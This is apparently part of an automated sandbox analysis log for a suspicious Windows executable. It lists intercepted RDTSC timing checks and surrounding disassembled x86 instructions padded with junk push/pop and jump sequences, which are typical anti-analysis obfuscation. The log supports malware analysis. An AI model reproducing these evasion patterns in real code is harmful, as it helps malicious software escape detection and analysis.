Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 777F78 second address: 777F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7290C62CB1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 778388 second address: 77839A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F7290C62CA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7802FF second address: 78033E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7290766B32h 0x0000000d push esi 0x0000000e jne 00007F7290766B26h 0x00000014 jmp 00007F7290766B2Ah 0x00000019 pop esi 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F7290766B2Fh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78033E second address: 780353 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F7290C62CAAh 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6DE0AE second address: 6DE0BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CADh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6DE0BF second address: 6DE0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7290766B2Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 783E9A second address: 783EAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CADh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 783EB1 second address: 783EBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F7290C62CA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 784184 second address: 784194 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7290766B32h 0x00000008 js 00007F7290766B26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 784194 second address: 7841B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jo 00007F7290C62CA6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7841B0 second address: 7841E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F7290766B26h 0x00000009 jmp 00007F7290766B32h 0x0000000e jmp 00007F7290766B38h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7848E9 second address: 7848FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007F7290C62CA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 789354 second address: 78937B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7290C62CA6h 0x00000008 jmp 00007F7290C62CACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F7290C62CB1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78937B second address: 7893CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F7290766B26h 0x00000009 jmp 00007F7290766B33h 0x0000000e jmp 00007F7290766B31h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 jmp 00007F7290766B2Ch 0x0000001e pop esi 0x0000001f pushad 0x00000020 jnc 00007F7290766B26h 0x00000026 pushad 0x00000027 popad 0x00000028 jc 00007F7290766B26h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 794282 second address: 79428C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7927F6 second address: 792814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7290766B2Bh 0x0000000b jo 00007F7290766B2Ah 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792DE5 second address: 792DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7290766B26h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792DF0 second address: 792E0E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007F7290C62CA6h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 jo 00007F7290C62CA6h 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792FC3 second address: 792FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 791FE2 second address: 791FEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7290766B26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79BC47 second address: 79BC62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7290C62CACh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c ja 00007F7290C62CA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7A7117 second address: 7A7126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F7290766B26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B1847 second address: 7B1872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7290C62CB9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jo 00007F7290C62CC0h 0x00000012 push ebx 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B1872 second address: 7B1882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F7290766B26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B0312 second address: 7B032A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B032A second address: 7B0362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Bh 0x00000007 pushad 0x00000008 jmp 00007F7290766B39h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B036C second address: 7B0376 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B037C second address: 7B0386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B038A second address: 7B039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F7290C62CA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B04F6 second address: 7B052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7290766B26h 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7290766B30h 0x00000018 jmp 00007F7290766B34h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4B75 second address: 7C4B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7290766B26h 0x0000000a popad 0x0000000b jc 00007F7290766B2Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C9D12 second address: 7C9D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7290C62CA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C9A20 second address: 7C9A2A instructions: 0x00000000 rdtsc 0x00000002 js 00007F7290766B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D00 second address: 7D4D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7290C62CABh 0x0000000c jmp 00007F7290C62CB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D28 second address: 7D4D3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F7290766B2Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D3D second address: 7D4D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7290C62CA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F7290C62CABh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D57 second address: 7D4D69 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F7290766B2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4BAA second address: 7D4BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jnp 00007F7290766B26h 0x0000000c jns 00007F7290766B26h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F7290766B2Bh 0x0000001b pushad 0x0000001c jmp 00007F7290766B2Fh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E211E second address: 7E2135 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F7290C62CA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E2135 second address: 7E2167 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7290766B26h 0x00000008 jmp 00007F7290766B39h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 jl 00007F7290766B32h 0x00000016 jo 00007F7290766B2Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1C47 second address: 7E1C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F7290766B2Ah 0x0000000c popad 0x0000000d pushad 0x0000000e ja 00007F7290766B28h 0x00000014 jg 00007F7290766B32h 0x0000001a push eax 0x0000001b push edx 0x0000001c ja 00007F7290766B26h 0x00000022 jnl 00007F7290766B26h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1DD8 second address: 7E1DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B36h 0x00000009 jg 00007F7290766B26h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1DFF second address: 7E1E29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007F7290C62CB7h 0x0000000d js 00007F7290C62CA8h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1E29 second address: 7E1E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7290766B26h 0x0000000a jmp 00007F7290766B33h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1E4D second address: 7E1E5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CAAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E6704 second address: 7E6718 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F7290766B26h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA5D2 second address: 7EA5DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7290766B26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA757 second address: 7EA767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7290C62CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA767 second address: 7EA778 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F7290766B26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EABE9 second address: 7EAC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CAAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jp 00007F7290C62CB2h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7F8C7A second address: 7F8CAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Fh 0x00000007 jmp 00007F7290766B2Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F7290766B31h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7F8CAC second address: 7F8D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7290C62CAFh 0x00000008 pop eax 0x00000009 js 00007F7290C62CD3h 0x0000000f jmp 00007F7290C62CB8h 0x00000014 jmp 00007F7290C62CB5h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ecx 0x0000001c pushad 0x0000001d jmp 00007F7290C62CAAh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EF384 second address: 7EF3A8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7290C62CA6h 0x00000008 jmp 00007F7290C62CB7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EF3AD second address: 7EF3CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F7290C62CA6h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e jbe 00007F7290C62CA8h 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jo 00007F7290C62CD1h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 716C34 second address: 716C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E32B1 second address: 6E32D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB0h 0x00000007 jmp 00007F7290C62CABh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E32D3 second address: 6E32F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B35h 0x00000009 jc 00007F7290766B26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E32F4 second address: 6E3315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7290C62CABh 0x0000000d jmp 00007F7290C62CAEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E3315 second address: 6E3321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7290766B26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E254A second address: 6E255B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7290766B26h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E255B second address: 6E25B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB7h 0x00000007 jno 00007F7290C62CAEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 js 00007F7290C62CA6h 0x0000001a jmp 00007F7290C62CABh 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 jmp 00007F7290C62CB6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E25B3 second address: 6E25D9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7290766B40h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E2714 second address: 6E275A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CB6h 0x00000009 pop esi 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edi 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F7290C62CB6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jp 00007F7290C62CA6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E2A50 second address: 6E2A7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F7290C62CFAh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7290C62CADh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E2A7E second address: 6E2A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Fh 0x00000007 je 00007F7290766B26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5F1D second address: 6E5F27 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5F27 second address: 6E5F59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F7290C62CB4h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F7290C62CAAh 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5F59 second address: 6E5FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jnl 00007F7290766B32h 0x00000011 jo 00007F7290766B2Ch 0x00000017 jne 00007F7290766B26h 0x0000001d pop eax 0x0000001e add ecx, 638A2B8Eh 0x00000024 push 00000003h 0x00000026 and edi, 1002DD7Bh 0x0000002c push esi 0x0000002d pop edi 0x0000002e push 00000000h 0x00000030 mov edi, esi 0x00000032 push 00000003h 0x00000034 jp 00007F7290766B29h 0x0000003a or dh, FFFFFF9Dh 0x0000003d jmp 00007F7290766B30h 0x00000042 push 7C298416h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a pushad 0x0000004b popad 0x0000004c pop eax 0x0000004d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5FB1 second address: 6E5FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7290C62CACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5FC1 second address: 6E5FFA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 43D67BEAh 0x00000013 sub dword ptr [ebp+150D1FF0h], esi 0x00000019 lea ebx, dword ptr [ebp+15253D8Ch] 0x0000001f mov dword ptr [ebp+150D24C1h], edi 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 jmp 00007F7290766B2Fh 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5FFA second address: 6E6010 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290C62CA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F7290C62CA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E6054 second address: 6E60B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jng 00007F7290766B2Eh 0x0000000d nop 0x0000000e call 00007F7290766B31h 0x00000013 sub dword ptr [ebp+150D1FE6h], ecx 0x00000019 pop ecx 0x0000001a mov dx, 04A8h 0x0000001e push 00000000h 0x00000020 mov esi, dword ptr [ebp+150D2BEEh] 0x00000026 push 04ED1B32h 0x0000002b pushad 0x0000002c pushad 0x0000002d jmp 00007F7290766B39h 0x00000032 jng 00007F7290766B26h 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
